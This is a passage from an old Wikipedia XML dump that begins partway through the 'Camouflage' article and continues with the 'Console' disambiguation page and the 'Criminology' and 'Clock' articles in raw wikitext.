[[Dazzle camouflage]] was briefly popular for ships in this period. Unlike true camouflage, the &quot;dazzle&quot; scheme used high contrast and confusing shapes to make it difficult for enemy forces to estimate speed and the range to the target ship &amp;mdash; critical in the age of &quot;dumb&quot; [[gun]]nery and [[torpedo]]es. The effectiveness of &quot;dazzle&quot; is not entirely certain but it continued in use into World War II. By 1918 the British had applied various patterns to over 4,500 vessels - mainly under the direction of [[Norman Wilkinson]] (who became Inspector of Airfield Camouflage in WW II).

==Camouflage in Fashion and Art==

The transfer of camouflage patterns from battle to exclusively civilian uses is a recent phenomenon. While many hundreds of artists were involved in the development of camouflage during and since [[WW I]] the disparate sympathies of the two cultures restained the use of &quot;militaristic&quot; forms in works other than those of [[war artist]]s. Since the 1960s however artists have seized apon camouflage as a means to twist and subvert it away from its military origins and symbolism. The concept of camouflage - to conceal and distort shapes - is also a popular artistic tool.

Artists using camouflage include: Warhol (notably his 1986 camouflage series, his last major work), Jacquet (extraordinarily prolific in camouflage works from 1961 into the 1970s), Boetti (''Mimetico'' pieces, 1966-67), Lutz (a number of projects, the film ''True Stories'', ''Red, Hot and Blue'', etc. 1986-), Lau (''gardenergala'', 1999-2001), Hamilton Finlay, Veruschka and Trulzsch (Nature, Signs &amp; Animals, Mimicry-Dress-Art, all 1970-73), Palmen (Streetwise series, 2002), Lapham (numerous works, including ''Mimetic series'', 1999), Anastasi (''Blind'', 2003), McGurr (&quot;Futura 2000&quot;), Opgenorth (Museum Camouflage series, 1998-)

Camouflage garments had a similarly hesitant adoption, although military ''styling'' has a long history of civilian use. Military patterns initially found civilian markets amongst hunters and, through military surplus, in those seeking clothing that was tough, well-made, and cheap in the United States and other countries. The steady output from countries using a [[National Service]] model was influential and several countires (intially the 'winning' sides of WW II, where there was less negative connection with military-wear) became significant markets. In the United States in the 1960s military clothing became increasingly common (mostly olive drab rather than camouflage), interestingly it was often found worn by anti-war protestors, intially groups such as [[Vietnam Veterans Against the War]] but then increasingly widely as a symbol of political protest. It is a felony in the United States to wear &quot;any distinctive part&quot; of a US military uniform. In the years after the [[Vietnam War]], camouflage military clothing became very popular among many people, replacing olive-drab military clothing.

The 'rebellious' links of civilian camouflage diminshed through the 1970s and beyond as more mainstream groups adopted a style seen as youthful and anti-establishment. Fashion, trailing the world as usual, has become increasingly eager to adopt camouflage - attracted by the striking designs, the &quot;patterned disorder&quot; of camouflage, its symbolism (to be celebrated or subverted (vide its use by Hello Kitty)), and its versatility. Early designers include Castelbajac (1975-), Roland Chakal (1970), Stephen Sprouse (using Warhol prints, 1986), and Franco Moschino (1986), but it was not until the 1990s that camouflage became a significant and widespread facet of dress from streetwear to high-fashion labels - especially the use of &quot;faux-camouflage&quot;. Producers using camouflage in the 1990s and beyond include: John Galliano for Christian Dior, Marc Jacobs for Louis Vitton, Commes des Garcons, Chanel, Tommy Hilfiger, Dolce &amp; Gabbana, Issey Miyake, Armani, YSL, and on and on.

Certain companies have become very closely associated with camouflage patterns (such as Maharishi and mhi, 6876, A Bathing Ape, Stone Island, or Girbaud), using and overprinting genuine military surplus fabric and have also extended the patterns by creating their own designs or integrating camouflage patterns with other symbols. The use of original patterns in new (often bright) colours is also common.

Camouflage is also common on products other than clothes.

==Theory of camouflage==
&lt;!-- Image with unknown copyright status removed: [[Image:Sniper irish sniper l96a1.jpg|thumb|right|A sniper camouflaged with a [[Sniper#Ghillie_suit|ghillie suit]].]] --&gt;
MacKay's statement above remains one of the most important elements in the theory of camouflage &amp;mdash; an exact match with the environment's colours is less crucial than the patterning of the regions of colour themselves. Ideally, camouflage should be made to break up and thereby conceal the structural lines of the object which it hides. Thus, the patterns often seen on camouflage clothing, masking cloth and vehicle paints are carefully constructed to deceive the human eye by breaking up the boundaries that define sharp edges and human silhouettes. This is called ''high difference'' or ''disruptive camouflage''.

Similarly, a [[tiger]]'s stripes, when viewed in the context of long grass or deeply shaded forest, have the same effect - making it hard to identify the tiger's shape as 'tiger!' Further, the tiger's non-stripe colouring tends to match its background of long grasses, called ''blending camouflage'', ''high similarity camouflage'' or ''figure-ground blending''. This mix of blending and disruptive patterns is called ''coincident disruption'' - the aim of modern military camouflage.

Coincidentally, the stark black-and-white [[zebra]] stripes, while not blending camouflage, is effective disruptive patterning - especially to the colour-blind lion. Another theory states that the zebra stripes are actually dazzle camouflage. In fact recent research, supported by experiments in the field, posits that the high contrast stripes, particularly those running horizontally, are an effective means of confusing the visual system of the [[tsetse fly]]. &lt;!-- Can somebody provide a citation for this? --&gt;

Disruptive patterns are designed to counter certain human perceptual models. The tendency to fill in gaps between aligned, or seemingly aligned, shapes to create 'whole' objects (closure and continuity). That overlapping, or appearing to overlap, is part of grouping shapes together (proximity grouping). That similar shapes belong together, they are a coherent unit, while dissimilar shapes are parts of different units (similarity grouping) and so on.

Modern camouflage includes environment-specific patterns such as Bill Jordan's hunting-specific &quot;RealTree&quot; or Camoclad's similarly targeted &quot;Mossy Oak&quot; series, both contain more detailed visual elements than older camouflage. While these obliterative-disruptive patterns are more effective than traditional camouflage patterns, they are also very specific to an environment and season which precludes their use for military purposes. These styles were stimulated by Jim Crumley's &quot;Trebark&quot; design, first marketed in [[1980]]. It should be noted that in the United States most hunted animals are colour-blind and rely on scent warnings (leading to activated-charcoal clothing from Scent-Lok).

Progress has also been made in generalized camouflage patterns as well. In [[2004]], the US Army joined the US Marine Corps in adopting an updated &quot;digital camouflage&quot; pattern (called [[MARPAT]] in the Marine version) to replace the traditional woodland pattern. It is termed &quot;digital&quot; because much of the design was done on a computer and unlike other camouflage patterns, it is blocky and appears almost pixelated.

People with [[maskun]] or other [[color blindness]] have been used to detect camouflage, because they have heightened sensitivity to visual patterns and their visual sensitivity curve is different from that of people with normal sight. Military camouflage schemes now are designed with dyes of defined spectral properties &amp;mdash; even outside the range of [[Optical spectrum|visible light]] to avoid detection by technical means like night vision (NODs, night observation devices) or thermal imaging devices. This idea was first trialled by the German Army in late 1944 as the ''Leibermuster'' pattern. It has been argued that eventually the military will stop using simple visual camouflage as it is of such diminishing utility.

The opposite of camouflage is making a person or object more visible and easier to recognize, for example with [[retroreflector]]s and [[high-visibility clothing]]. There are hunting garments with bright orange patches that stand out to the eyes of other hunters, but are supposed to be a tone-match to the colour-blind game animals.

Research also continues into ''[[adaptive camouflage]]'', which is camouflage that changes to match its environment. One method of doing this is by changing the pre-made pattern, either automatically as some animals can like the octopus, or manually by reversing an article of clothing with a different pattern on either side.

True adaptive camouflage, which many would call &quot;[[invisibility]]&quot;, is much more difficult. Such camouflage would require a high resolution display that renders thousands of different angles, depending on the position of the viewer (similar to a [[hologram]]). The display information would have to be interpolated from only a few cameras as it is impossible to have one camera per angle displayed.  Additionally, the displays would have to be capable of extreme brightness to maintain their illusion during daylight. ''See'': [[optical camouflage]].

==See also==

*[[Battledress]]
*[[Army Combat Uniform]], new US Army uniform, similar to MARPAT.
*[[Battle dress uniform]], US Army's old combat uniform.
*[[Chocolate-chip camouflage]], a six-colour desert pattern designed in 1962 and used by the [[United States Army]] during the [[Gulf War]] in the early [[1990]]s - replaced by a three-colour pattern from 1990.
*[[MARPAT]], the new digital pattern used by the [[United States Marine Corps]] since 2002.
*[[Flecktarn]], used by the [[Bundeswehr]] in [[Germany]].
*[[CADPAT]], [[Canadian]] Disruptive pattern, designed in 1995, issued from 1997. A digital camouflage and the basis for [[Marpat]].
*[[Disruptive Pattern Material]] or 'DPM', camouflage used by British Forces since the '60s.
*[[Mountbatten Pink]], a camouflage used primarily by the British during World War II
*[[Active camouflage]], a technology pioneered by the [[United States Air Force]] to allow aircraft to blend into their environment by altering colour or luminosity.
*[[Sniper]], a military occupation where camouflaging is very important.
*[[Stealth technology]]
*[[Tiger Stripe]]

==References==
*[http://www.shipcamouflage.com/2_1.htm Alan Raven - The Development of Naval Camouflage 1914 – 1945]
*[http://www.arts.ufl.edu/art/rt_room/sparkers/camouflage/history.html Craig Roland - The Art of Camouflage - The History of Camouflage]
*[http://mitpress2.mit.edu/e-journals/Leonardo/isast/spec.projects/camouflagebib.html Roy R. Behrens - Art and Camouflage: An Annotated Bibliography]
*[http://www.wildernessmanuals.com/manual_6/chpt_1/2.html U.S. Army manual FM 21-76 on camouflage]
*[http://college.hmco.com/history/readerscomp/mil/html/ml_008100_camouflage.htm Guy Hartcup - Camouflage: A History of Concealment and Deception in War (1980)]
*[http://www.lonesentry.com/camouflage_manual/index.html WWII War Department Field Manual FM 5-20B: Camouflage of Vehicles (1944)]
*{{cite book|author=Blechman, Hardy and Newman, Alex|year=2004|title=DPM: Disruptive Pattern Material|publisher=DPM Ltd|id=ISBN 0-9543404-0-X}}
*{{cite book|author=Behrens, Roy R.|year=2002|title=FALSE COLORS: Art, Design and Modern Camouflage|publisher=Bobolink Books|id=ISBN 0-9713244-0-9}}

==External links==
{{Commons|Camouflage}}

*[http://science.howstuffworks.com/animal-camouflage.htm How Stuff Works]
*[http://www.kamouflage.net/ kamouflage.net: online index of military camouflage uniforms]
*[http://photoshop.pluginsworld.com/plugin.php?directory=adobe&amp;software=photoshop&amp;plugin=249 VanDerLee - Camouflage: plugin for Adobe Photoshop]
*[http://efour4ever.com/cammo.htm  Camouflage of Individuals and Infantry Weapon]

[[Category:Military camouflage]]
[[Category:Survival skills]]
[[Category:Cryptic animals]]

[[da:Camouflage]]
[[de:Tarnung]]
[[fr:Camouflage]]
[[he:הסוואה]]
[[nl:Camouflage]]
[[ja:カモフラージュ]]
[[no:Kamuflasje]]
[[pt:Camuflagem]]
[[sv:Kamouflage]]
[[vi:Ngụy trang]]
[[pl:Kamuflaż]]</text>
    </revision>
  </page>
  <page>
    <title>Console</title>
    <id>6447</id>
    <revision>
      <id>41486196</id>
      <timestamp>2006-02-27T18:07:49Z</timestamp>
      <contributor>
        <ip>69.209.161.188</ip>
      </contributor>
      <comment>/* Music */</comment>
      <text xml:space="preserve">'''Console''' may be:

===Computers===
* A [[computer console]], a physical entity to communicate with a computer, possibly at a distance (i.e. [[mainframe computer|mainframe]] console)
* A [[command line interface]], which is a software-implementation of the above
* A [[Win32 console]] is a special type of [[window (computing)|window]]
* A [[video game console]]
* A [[PC game console]], as used in Quake, UT, and CS
* An [[Internet]] term for a secondary [[web browser]] window [[pop-up]]
* An operator station

===Music===
* An [[Organ (music)|organ]] term for the area of an organ including the keys, stops, and foot pedals manipulated by the organist
* A [[Mixing console]]
* [[Console (musician)|Console]] (indie rock) is a music project by Martin Gretschmann
* A [[audio tape|tape deck]] (also used for computer tape)

===Other===
* A small [[shelf]]
* A  [[Lighting control console]]
* To comfort someone in [[distress]]
* A support element in [[construction]], (e.g. see [[balcony]] or [[corbel]])
* A type of [[entertainment center]], with various home electronics housed in a self-contained unit
* A storage compartment in the center of a [[bucket seating]] setup for modern-day [[automobile]]s.

==See also==
* [[Consols]]
* [[Konsole]] - a terminal emulator

{{disambig}}

[[cs:Konzole]]
[[es:consola]]
[[fr:Console]]
[[it:Console]]
[[nl:Console]]
[[ja:&amp;#12467;&amp;#12531;&amp;#12477;&amp;#12540;&amp;#12523;]]
[[pl:Konsola]]
[[pt:Consola]]</text>
    </revision>
  </page>
  <page>
    <title>Criminology</title>
    <id>6448</id>
    <revision>
      <id>41687982</id>
      <timestamp>2006-03-01T01:48:21Z</timestamp>
      <contributor>
        <username>Evil otto</username>
        <id>91886</id>
      </contributor>
      <minor />
      <comment>/m</comment>
      <text xml:space="preserve">{{Crimin}}
'''Criminology''' is the study of [[crime]] as a social phenomenon, including the causes and consequences of crime, criminal [[behavior]], as well as the development of, and impact of [[Law|laws]].  Research in criminology applies the [[scientific method]] to test [[hypothesis|hypotheses]] and ultimately develop theories that help explain the causes and other aspects of crime.  Though both deal with crime, criminology differs from [[criminal justice]] in that latter focuses on the components of the justice system including [[police]], [[courts]], and [[corrections]].  


==Schools of thought==
Over time, several [[school (discipline)|schools]] of thought have developed and are listed in the infobox. The main thematic distinction has been between the: 
[[Classical school|Classical School]] associated with [[Cesare Beccaria]], [[Jeremy Bentham]], and others who have argued that:
* People have free will to choose how to act.
* [[Deterrence]] is based upon the [[utilitarianism|utilitarian]] [[ontology|ontological]] notion of the human being a 'hedonist' who seeks pleasure and avoids pain, and a 'rational calculator' weighing up the costs and benefits of the consequences of each action. Thus, it ignores the possibility of irrationality and unconscious drives as motivational factors.
* [[Punishment]] (of sufficient severity) can deter people from crime, as the costs (penalties) outweigh benefits.
and the
[[Positivist school|Positivist School]] which presumes that criminal behaviour is caused by [[biology|biological]], [[psychology|psychological]], or social determining factors that predispose some people towards crime. [[Cesare Lombroso]], an Italian prison doctor working in the late 19th century and sometimes regarded as the &quot;father&quot; of criminology, was one of the largest contributors to biological positivism, which alleged that physiological traits such as the measurements of one's cheek bones or hairline, or a cleft palate, considered to be throwbacks to [[Neanderthal]] man, were indicative of &quot;[[atavism|atavistic]]&quot; criminal tendencies. This approach, influenced by the earlier theory of [[phrenology]] and by [[Charles Darwin]] and his [[theory of evolution]], has been superseded, but more modern research examines genetic characteristics and the chemistry of [[nutrition]] to determine whether there is an effect on violent behaviour (see [[Natural Justice]]). [[Hans Eysenck]] (1964, 1977), a British psychologist, claimed that psychological factors such as Extraversion and Neuroticism made a person more likely to commit criminal acts. He also includes a Psychoticism dimension that includes traits similar to the psychopathic profile, developed by Cleckley and later Hare. He also based his model on early parental [[socialisation]] of the [[child]]; his approach bridges the gap between biological explanations and environmental or social learning based approaches (see e.g. social psychologists [[Burrhus Frederic Skinner|B. F. Skinner]] (1938) and [[Albert Bandura]] (1973).  Sociological positivism (the father of which is considered to be [[Emile Durkheim]]) postulates that societal factors such as [[poverty]], membership of subcultures, or low levels of [[education]] can predispose people to crime.

==Theories of crime==
There are many theories, including:
===[[Strain theory]]===
Based on the work of American sociologist [[Robert K. Merton|Robert Merton]], this theory suggests that mainstream [[culture]], especially in the [[United States]], is saturated with dreams of opportunity, freedom and prosperity; as Merton put it, the ''American Dream''.  Most people buy into this dream and it becomes a powerful cultural and psychological motivation.  Merton also used the term ''anomie'', but it meant something slightly different for him than it did for [[Durkheim]]; he saw the term as meaning a dichotomy between what society expected of its citizens, and what those citizens could actually achieve.  Therefore, if the social structure of opportunities is unequal and prevents the majority from realising the dream, some of them will turn to illegitimate means (crime) in order to realise it. Others will retreat or drop out into deviant subcultures (&quot;hobos&quot;: urban homeless drunks and drug abusers).

===[[Symbolic interactionism]]===
Drawing on the phenomenology of [[Edmund Husserl]] and [[George Herbert Mead]], [[subcultural theory]] and [[conflict theory]], this school of thought focused on the relationship between the powerful state, media and conservative ruling elite on the one hand, and the less powerful groups on the other. The powerful groups had the ability to become the 'significant other' in the less powerful groups' processes of generating meaning. The former could to some extent impose their meanings on the latter, and therefore they were able to 'label' minor delinquent youngsters as criminal. These youngsters would often take on board the label, indulge in crime more readily and become actors in the 'self-fulfilling prophecy' of the powerful groups. Later developments in this set of theories were by [[Howard Becker]] and [[Edwin Lemert]], in the mid 20th century; also by [[Stanley Cohen]] who developed the concept of &quot;[[moral panic]]&quot; (describing societal reaction to spectacular, alarming social phenomena such as post-World War Two youth cultures (e.g. the ''[[Mods and Rockers]]'' in the UK in 1964), AIDS and football hooliganism.

===British and American subcultural theory===
Following on from the [[Chicago school (sociology)|Chicago School]] and Strain Theory, and also drawing on [[Edwin Sutherland|Edwin H. Sutherland]]'s idea of [[differential association]], subcultural theorists focused on small cultural groups fragmenting away from the mainstream to form their own values and meanings about life. Some of these groups, especially from poorer areas where opportunities were scarce, might adopt criminal values and meanings. British subcultural theorists focused more heavily on the issue of class, where some criminal activities were seen as 'imaginary solutions' to the problem of belonging to a subordinate class.

==Types and definitions of crime==
Both the Positivist and Classical Schools take a consensus view of crime &amp;ndash; that a crime is an act that violates the basic values and beliefs of society.  Those values and beliefs are manifested as laws that society agrees upon.  However, there are two types of laws:
* Natural laws are rooted in core values shared by many cultures.  Natural laws protect against harm to persons (e.g. murder, rape, assault) or property (theft, larceny, robbery), and form the basis of [[common law]] systems.
* [[Statutory law|Statutes]] are enacted by [[legislature]]s and reflect current cultural [[mores]], albeit that some laws may be controversial, e.g. laws that prohibit [[cannabis|marijuana]] use and [[gambling]]. [[Marxist criminology|Marxist Criminology]], [[Conflict criminology|Conflict Criminology]] and Critical Criminology claim that most relationships between [[State]] and [[citizen]] are non-consensual and, as such, [[criminal law]] is not necessarily representative of public beliefs and wishes: it is exercised in the interests of the ruling or dominant class.  The more right wing criminologies tend to posit that there is a consensual [[social contract]] between State and citizen.

Therefore, definitions of crimes will vary from place to place, in accordance to the cultural [[norm (sociology)|norms]] and mores, but may be broadly classified as:
*[[blue-collar crime]];
*[[corporate crime]];
*[[organised crime]];
*[[political crime]];
*[[public order crime]];
*[[state crime]];
*[[state-corporate crime]];
*[[white-collar crime]].

==Educational programs==
There is now a huge number of undergraduate and postgraduate criminology degrees available around the world. The present popularity of such degrees may in part be due to criminal and police television dramas that capture people's imaginations, but could also be because of growing awareness as to the continuing importance of issues relating to law, rules, compliance, politics, terrorism, security, forensic science, the media, deviance, and punishment.

Criminology is an multi-disciplinary field; [[criminologists]] may have degrees in criminology, [[law]], [[sociology]], [[psychology]], [[social policy]], [[political science]], [[anthropology]], or other subjects. Criminology may involve [[crime statistics]], [[criminal psychology]], [[forensics|forensic science]], [[law enforcement]], and [[detective|investigative]] methods; academically, these areas are somewhat marginal to criminology.

==See also==
*[[List of criminology topics]]
*[[Victimology]]
*[[Penology]]
*[[Crime fiction]]
*[[Crime prevention through environmental design]] ([[CPTED]])

==External links==
{{Wikibooks|Social Deviance}}
*British Society of Criminology. ''Criminology Benchmarks (including Police Studies and Criminal Justice Studies)'' [http://www.c-sap.bham.ac.uk/subject_areas/criminology/Criminology_Benchmarks.doc] 
*[http://www.newcriminologist.co.uk/ The New Criminologist journal]
*[http://www.asc41.com/ American Society of Criminology]
*[http://faculty.ncwc.edu/toconnor/criminology.htm Criminology Mega-Site] &amp;mdash; Dr. Tom O'Connor (Associate Professor of Justice Studies, North Carolina Wesleyan College) 
*[http://www.ncjrs.org/ National Criminal Justice Reference Service] (NCJRS)
*[http://www.aic.gov.au/ Australian Institute of Criminology] (AIC)

[[Category:Criminology|*]]
[[Category:Sociology]]

[[bg:Криминология]]
[[ca:Criminologia]]
[[da:Kriminologi]]
[[de:Kriminologie]]
[[es:Criminología]]
[[eo:Kriminologio]]
[[fr:Criminologie]]
[[he:קרימינולוגיה]]
[[lb:Kriminologie]]
[[nl:Criminologie]]
[[ja:犯罪学]]
[[pl:Kryminologia]]
[[pt:Criminologia]]
[[fi:Kriminologia]]
[[sv:Kriminologi]]
[[tr:Kriminoloji]]</text>
    </revision>
  </page>
  <page>
    <title>Clock</title>
    <id>6449</id>
    <revision>
      <id>41808778</id>
      <timestamp>2006-03-01T22:08:32Z</timestamp>
      <contributor>
        <ip>199.126.39.190</ip>
      </contributor>
      <comment>/* Digital clocks */</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image:Wall_clock.jpg|thumb|300px|right|A wall clock]]

A '''clock''' (from the [[Latin]] ''cloca'', &quot;[[bell (instrument) |bell]]&quot;) is an instrument for measuring [[time]]. (Usually, for measuring time of intervals less than a day--as opposed to a calendar.) Those used for technical purposes, of very high accuracy, are sometimes called [[chronometer]]s.  A portable clock is called a [[watch]]. The clock in its most common modern form (in use since at least the [[14th century]]) displays the hours, minutes, and sometimes seconds that pass over a twelve or twenty-four-hour period.

==History==
[[Image:IncenseAlarmClock.JPG|222px|thumbnail|left||A replica of an ancient Chinese [[incense clock]]]] 

The clock is one of the oldest human inventions.  In principle, it requires no more than some physical process which will proceed at a known rate, and a way to gauge how long that process has been continuing. As the seasons and the phases of the moon can be used to measure the passage of longer periods of time, shorter processes could be used to measure off hours and minutes.  The [[sundial]], which measures the time of day by the direction of shadows cast by the sun, was widely known in ancient times. Candles and sticks of incense which burn down at approximately predictable speeds have also been used as clocks.  In an [[hourglass]] fine [[sand]] pours through a tiny hole at a predictable rate.

The historian [[Vitruvius]] reported that the [[ancient Egyptian]]s also used a [[Water clock|clepsydra]], a time mechanism run by flowing water. Historians disagree over the [[Antikythera mechanism]] but this is largely thought to be an early mechanical clock. By the [[9th century AD]] a [[clockwork|mechanical timekeeper]] had been developed that lacked only an [[escapement]] mechanism. There is a record that in [[1176]] [[Sens Cathedral]] installed a &amp;lsquo;horologe&amp;rsquo;&amp;mdash;the word still used in French for large clocks. (from Greek ''hora'', hour, and ''legein'', to tell).  This word has led scholars to believe that these tower clocks did not employ hands or dials, but “told” the time with audible signals such as bells.

A variety of mechanical clocks were produced by Spanish Muslim engineers, both large and small, and this knowledge was transmitted to Europe through Latin translations of Islamic books on mechanics. These clocks were weight-driven. Designs and illustrations of epi-cyclic and segmental gears were provided. One such clock included a mercury escapement. The latter type was directly copied by Europeans during the 15th century. In addition, during the 9th century, Ibn Firnas of Islamic Spain, according to Will Durant, invented a watch-like device which kept accurate time. The [[Muslims]] also constructed a variety of highly accurate astronomical clocks for use in their observatories.

The earliest reasonably accurate clocks are the [[13th century]] tower clocks probably developed for (and perhaps by) monks in Northern Italy. These were used to announce the [[canonical hours]] or intervals between set times of prayer. [[Canonical hours]] differ in length, and varied as the times of sunrise and sunset shifted.

The world's first self-striking clock was said to be invented by Chang Yeong-Sil, a chief enginner of Korea, in Korea during the [[Joseon Dynasty]]. It was called ''Chagyongru'', which means &quot;self-striking clock&quot; in Korean. [http://www.maxmon.com/1434ad.htm] [http://www.indiana.edu/~easc/resources/korea_slides/science/9-1.htm]

The earliest table clocks that survive in any quantity are mid-[[16th century]] ones from the metalworking towns of [[Nuremberg]] and [[Augsburg]]. These clocks have only one hand. The dial between the hour markers is divided into four equal parts making the clocks readable to the nearest 15 minutes. 

[[image:big.ben.scaled.arp.750pix.jpg|thumb|right|200px|The massive clock on [[Big Ben]], [[London]], [[England]]. The  5 foot 4 inch (1.63 m) person &quot;holding on&quot; to the six o'clock marking has been inserted into the picture at correct scale. The hour hand is 9 feet (2.7 m) long and the minute hand is 14 feet (4.3 m) long]] 

The next major development in accuracy occurred in [[1657]] with the invention of the [[pendulum clock]]. [[Galileo Galilei|Galileo]] had the idea to use a swinging bob to propel the motion of a time telling device earlier in the [[17th century]].  [[Christiaan Huygens]], however, is usually credited as the inventor.  He determined the mathematical formula that related pendulum length to time  (99.38 cm or 39.13 inches for the one second movement) and had the first pendulum driven clock made.  In [[1670]], the English clockmaker [[William Clement]] created the [[anchor escapement]], an improvement over Huygens' [[crown escapement]]. Within just one generation, [[minute]] hands and then [[second]] hands were added.

The excitement over the pendulum clock attracted the attention of designers resulting in a proliferation of clock forms. Notably, the longcase clock (aka [[grandfather clock]]) was created to house the pendulum and works. The English clockmaker [[William Clement]], inventor of the [[anchor escapement]], is credited with developing this form in [[1670]].  It was also at this time that clock cases began to be made of wood and [[clock face]]s to employ [[Vitreous enamel|enamel]].  On [[November 17]], [[1797]], [[Eli Terry]] received his first [[patent]] for a clock.  Terry is known as the founder of the American clock-making industry.

The development of [[electronics]] in the [[twentieth century]] led to clocks with no clockwork parts at all.  Time in these cases is measured in several ways, such as by the behaviour of [[quartz]] crystals, or the decay of radioactive elements.  Even mechanical clocks have since come to be largely powered by batteries, removing the need for winding.

==Types==
There are four major types of clocks.

===Analog clocks===
[[Analog signal|Analog]] clocks may be [[mechanical clock|mechanical]] or have a [[quartz movement]]. A [[clock face]] is the part of an [[analog signal|analog]] clock that tells time through the use of a fixed numbered dial or dials and moving hand or hands. It usually has a circular scale of 12 [[hour]]s, which also serves as a scale of 60 [[minute]]s, and often also as a scale of 60 [[second]]s. The [[analog clock with digital display]] emulates a digital clock but with an analog movement. The ultimate analog clock is the [[sundial]], which tracks the sun continuously, registering the time by the shadow of its [[gnomon]].

[[image:Digital-clock-radio-basic.jpg|thumb|Basic digital clock radio.]]

===Digital clocks===
[[Digital clock]]s use electronic methods of keeping time.  Battery operated digital clocks such as wrist watches use a quartz crystal oscillator for time keeping, whereas mains-powered clocks, such as bed-side alarm clocks, use typically the 50 or 60 [[hertz]] oscillation of [[AC power]] or a [[crystal oscillator]] as in a [[quartz movement]]. A [[digital]] clock typically displays a numerical hour range of 0-23, or 1-12 (with an indication of [[12-hour_clock|AM or PM]]) using an [[LCD]] or [[LED]] display, although digital versions of analog-style faces exist.  Mains-driven digital clocks are often reset after a power failure, and, typically, begin flashing to alert us that the time they display is incorrect.  After a reset digital clocks lacking a backup [[battery (electricity)|battery]] either start counting from 00:00, or stay 00:00 to indicate that their time needs to be set.

===Textual clocks===

Textual clocks present the time visually in the form of [[natural language]].  For instance, in english, the time 12:35 could be represented as &quot;Twelve thirty-five&quot;.  Some versions of these clocks use a more approximate version intended to be relaxing, such as &quot;About twelve thirty&quot; &lt;ref&gt;[http://muse.jhu.edu/cgi-bin/access.cgi?uri=/journals/modernism-modernity/v006/6.1whittier-ferguson.html  Project Muse]&lt;/ref&gt;

===Auditory Clocks===

For convenience, distance, telephony or blindness, auditory clocks present the time as sounds.   
the form is either spoken [[natural language]], (e.g. &quot;The time is twelve thirty-five&quot;), or as auditory codes (e.g. number of sequential bell rings on the hour represents the number of the hour like the clock [[Big Ben]]).

&lt;!-- Keep this line break; it prevents the digital clock picture from overlapping into the next section and thus neatens up the page --&gt;
&lt;br clear=&quot;left&quot; /&gt;

==Purposes==
Clocks are in homes and offices; smaller ones ([[watch]]es) are carried; larger ones are in public places, e.g. a [[train station]] or [[church]]. A small clock is often shown in a corner of [[computer display]]s or [[mobile phone]]s.

The main purpose of a clock is not always to ''display'' the time. 
It may also be used to ''control'' a device according to time, e.g. an alarm clock, a [[VCR]], or a time [[bomb]] (see: [[counter]]). 

Practically all [[computer]]s depend on an accurate internal [[clock signal]] to allow synchronized processing. (A few research projects are developing CPUs based on [[asynchronous circuit]]s). Some computers also maintain time and date for all manner of operations whether these be for alarms, event initiation or just to display the time of day.

===Ideal clocks===
An [[ideal clock]] is a scientific principle that measures the ratio of the duration of natural processes, and thus will give the time measure for use in physical theories. Therefore, to define an ideal clock in terms of any physical theory would be circular. An ideal clock is more appropriately defined in relationship to the set of all physical processes.
[[Image:PDphotos-org_alarm_clock_1_bg_050304.jpg|thumb|200px|right|A desk clock]]

This leads to the following definitions:

* A clock is a [[process|recurrent]] [[period (physics)|periodic]] [[process]] and a [[counter]].
* A good clock is one which, when used to measure other recurrent processes, finds many of them to be periodic.
* An ideal clock is a clock (i.e., recurrent process) that makes the most other recurrent processes periodic.

The recurrent, periodic process (a [[metronome]]) is an [[oscillator]] and typically generates a ''clock signal''. Sometimes that signal alone is (confusingly) called &quot;the clock,&quot; but sometimes &quot;the clock&quot; includes the counter, its indicator, and everything else supporting it.

This definition can be further improved by the consideration of successive levels of smaller and smaller error tolerances. While not all physical processes can be surveyed, the definition should be based on the set of physical processes which includes all individual physical processes which are proposed for consideration. Since atoms are so numerous and since, within current measurement tolerances, they all beat in a manner such that if one is chosen as periodic then the others are all deemed to be periodic also, it follows that [[atomic clock]]s represent ideal clocks to within present measurement tolerances and in relation to all presently known physical processes. However, they are not so designated by fiat. Rather, they are designated as the current ideal clock because they are currently the best instantiation of the definition.

===Navigation===
Accurate [[navigation]] by ships beyond the sight of land depends on the ability to measure [[latitude]] and [[longitude]]. Latitude is fairly easy to determine through [[celestial navigation]], but the measurement of [[longitude]] requires accurate measurement of time. This need was a major motivation for the development of accurate mechanical clocks. [[John Harrison]] created the first, highly accurate [[marine chronometers]] in the mid-18th century. The [[Noon gun]] in [[Cape Town]] still fires an accurate signal to allow ships to check their [[chronometers]].

===Modern clocks===
[[Quartz movement|Quartz]] timepieces were invented in the [[1920s]].

The [[digital clock]] was invented in [[1956]].

==Specific types of clocks==
[[Image:Windup alarm clock.jpg|thumb|A windup, mechanical, spring-driven alarm clock.]] 

* [[alarm clock]]
* [[analog clock with digital display]]
* [[astronomical clock]]
* [[atomic clock]]
* [[binary clock]]
* [[bracket clock]]
* [[cartel clock]]
* [[chiming clock]]
* [[clock network]]
* [[Data]] clock for [[timescapes]] created with [[time-technology]]
* [[doll's head clock]]
* [[Railroad chronometers]]
* [[countdown clock]]
* [[cuckoo clock]]
* [[flip clock]]
* [[game clock]]
* [[grandfather clock]]
* [[hourglass]]
* [[longcase clock]]
* [[mantel clock]]
* [[pedestal clock]]
* [[pendulum clock|swinging pendulum clock]]
* [[torsion pendulum clock]]
* [[projection clock]]
[[Image:Digital-clock-oven.jpg|thumb|Digital clock display in an oven.]]
* [[quartz clock]]
* [[sidereal clock]]
* [[skeleton clock]]
* [[stopwatch]]
* [[striking clock]]
* [[sundial]]
* [[tide clock]]
* [[time clock]]
* [[watch]]
* [[water clock]]
* [[world clock]]

==See also==
* [[chronometer]]
* [[Iron Ring Clock]]
* [[Allan variance]]
* [[biological clocks]]
* [[clock face]]
* [[Cox's timepiece]]
* [[Clock of the Long Now]]
* [[Clock signal]] (digital circuits)
* [[Clock tower]]
* [[Clockmaker]]
* [[Colgate Clock]], the world's largest clock
* [[Horology]]
* [[Intellectual history of time]]
* [[Metrology]]
* [[National Association of Watch and Clock Collectors]]
* [[Radio clock]]
* [[Star clock]]
* [[Time standard]]
* [[Timeline of time measurement technology]]
* [[Timer]]
* [[Time to digital converter]]
* [[Watchmaker]]

==External links==
{{commons|Category:Clocks}}

* [http://www.awci.com/ American Watchmakers-Clockmakers Institute]
* [http://www.bhi.co.uk/oldindex.htm British Horological Institute]
* [http://homepage.mac.com/pete.boardman/24hourclock/history.html 24 hour analog clocks]
* [http://www.sciencemuseum.org.uk/on-line/wells-clock/index.asp Science Museum - more details on early clocks]
* [http://www.humanclock.com Humanclock.com] a website with a unique image for every minute of the day
